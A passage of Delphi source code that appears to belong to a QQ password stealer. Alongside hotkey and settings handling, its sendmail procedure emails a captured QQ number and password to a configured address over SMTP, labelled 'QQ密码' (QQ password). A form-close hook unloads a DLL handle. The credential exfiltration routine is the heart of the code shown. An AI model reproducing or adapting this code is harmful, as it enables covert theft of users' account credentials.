  762.     end
  763.   else
  764.      ftemoption.CloseAppHotKey.ctrl:=false;
  765.   if ssAlt in Shift then
  766.    begin
  767.     mString:=mstring+'ALT+';
  768.     ftemoption.CloseAppHotKey.alt:=true;
  769.    end
  770.   else
  771.      ftemoption.CloseAppHotKey.alt:=false;
  772.      
  773.    mString:=mString+mkey2;
  774.   EdCusDatahotkey.Text:=mstring;
  775. end;
  776. procedure TGQPFRM.EdCusOptHotkeyKeyPress(Sender: TObject; var Key: Char);
  777. begin
  778. key:=#0;
  779. end;
  780. procedure TGQPFRM.EdCusDatahotkeyKeyPress(Sender: TObject; var Key: Char);
  781. begin
  782. key:=#0;
  783. end;
  784. procedure TGQPFRM.TestSendMail(HostAddress,port,UserID,Password,Emailaddress:string);
  785.  var
  786.   fromEmail:string;
  787.   i:integer;
  788.  begin     
  789.   if whetherOnLine=false then begin showmessage('请检查网络是否连通');exit;end;
  790.   i:=pos('.',hostaddress);
  791.   fromemail:=userId+'@'+copy(hostaddress,i+1,length(hostaddress)-i);
  792.   try
  793.    smtp.Port:=strtoint(port);
  794.   except
  795.    on econverterror do
  796.     begin
  797.      showmessage('端口输入错误');
  798.      exit;
  799.     end;
  800.   end;
  801.   SMTP.Host:=hostaddress;
  802.   if self.CBServerCheck.Checked then
  803.    begin
  804.     SMTP.AuthenticationType:=atLogin;
  805.     SMTP.UserID:=userId;
  806.     SMTP.Password:=password;
  807.    end
  808.   else
  809.    begin
  810.     SMTP.AuthenticationType:=atnone;
  811.    end;
  812.   MSG.Too.Add(Emailaddress);
  813.   MSG.From:='<'+fromemail+'>';
  814.   MSG.Subject:='邮件测试成功';
  815.     with TSenderThread.Create(True) do begin
  816.       FreeOnTerminate := True;
  817.       mstate:=false;
  818.       mSMTP := SMTP;
  819.       mMsg := Msg;
  820.       Resume;
  821.     end;        
  822.  end;
  823.  
  824. procedure TGQPFRM.sendmail(HostAddress:string;port:integer;UserID:string;Password:string;Emailaddress:string;
  825.                        qqnum:string;qqpass:string);
  826.  var
  827.   fromEmail:string;
  828.   i:integer;
  829.  begin
  830.   if whetherOnLine=false then begin exit;end;
  831.   i:=pos('.',hostaddress);
  832.   fromemail:=userId+'@'+copy(hostaddress,i+1,length(hostaddress)-i);
  833.   try
  834.    smtp.Port:=port;
  835.   except
  836.    on econverterror do
  837.     begin
  838.      showmessage('端口输入错误');
  839.      exit;
  840.     end;
  841.   end;
  842.   SMTP.Host:=hostaddress;
  843.   if appoption.servercheck then
  844.    begin
  845.     SMTP.AuthenticationType:=atLogin;
  846.     SMTP.UserID:=userId;
  847.     SMTP.Password:=password;
  848.    end
  849.   else
  850.    begin
  851.     smtp.AuthenticationType:=atnone;
  852.    end;
  853.   MSG.Too.Add(Emailaddress);
  854.   MSG.From:='QQ密码<'+fromemail+'>';
  855.   MSG.Subject:='number:'+qqnum+'  password:'+qqpass;
  856.     with TSenderThread.Create(True) do begin
  857.       FreeOnTerminate := True;
  858.       mstate:=true;
  859.       mSMTP := SMTP;
  860.       mMsg := Msg;
  861.       Resume;
  862.     end;
  863. end;
  864. procedure TSenderThread.Execute;
  865. begin
  866.   try
  867.    mSMTP.Send(mMsg);
  868.    if self.mstate=false then showmessage('邮件测试成功');
  869.   except
  870.      on EWinshoeResponseError do
  871.       begin
  872.        if mstate=false then showmessage('用户名或密码错误或E-mail地址有误');
  873.        Terminate;
  874.       end;
  875.      on EWinshoeSocketError do
  876.       begin
  877.        if mstate=false then showmessage('邮件服务器地址错误');
  878.        Terminate;
  879.       end;
  880.      else
  881.       begin
  882.        if mstate=false then showmessage('未知错误');
  883.        terminate;
  884.       end;
  885.   end;
  886. end;
  887. function TGQPFRM.WhetherOnLine:boolean;
  888. begin      
  889.  if InternetCheckConnection('http://www.163.com/', 1, 0) then
  890.      result:=true
  891.  else
  892.      result:=false;
  893. end;
  894. procedure TGQPFRM.BuMailTestClick(Sender: TObject);
  895. begin
  896.  if not checkNetTabSheet then exit;
  897.  self.TestSendMail(EdMailServer.Text,EdMailPort.Text,EdMailUsername.Text,EdMailPassword.Text,
  898.                    EdMailAddress.Text);
  899. end;
  900. procedure TGQPFRM.Button2Click(Sender: TObject);
  901. begin
  902.   savedialog1.Filter:='文本文件 (*.txt)|*.TXT';
  903.   savedialog1.FileName:=appoption.DataFile;
  904.   if savedialog1.Execute then
  905.      begin
  906.       ftemoption.datafile:=savedialog1.FileName+'.txt';
  907.       EDataFile.Text:=ftemoption.datafile;
  908.      end;
  909. end;
  910. procedure TGQPFRM.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  911. begin
  912.  if dllhandle<>0 then closeapp;
  913.  canclose:=true;
  914. end;
  915. end.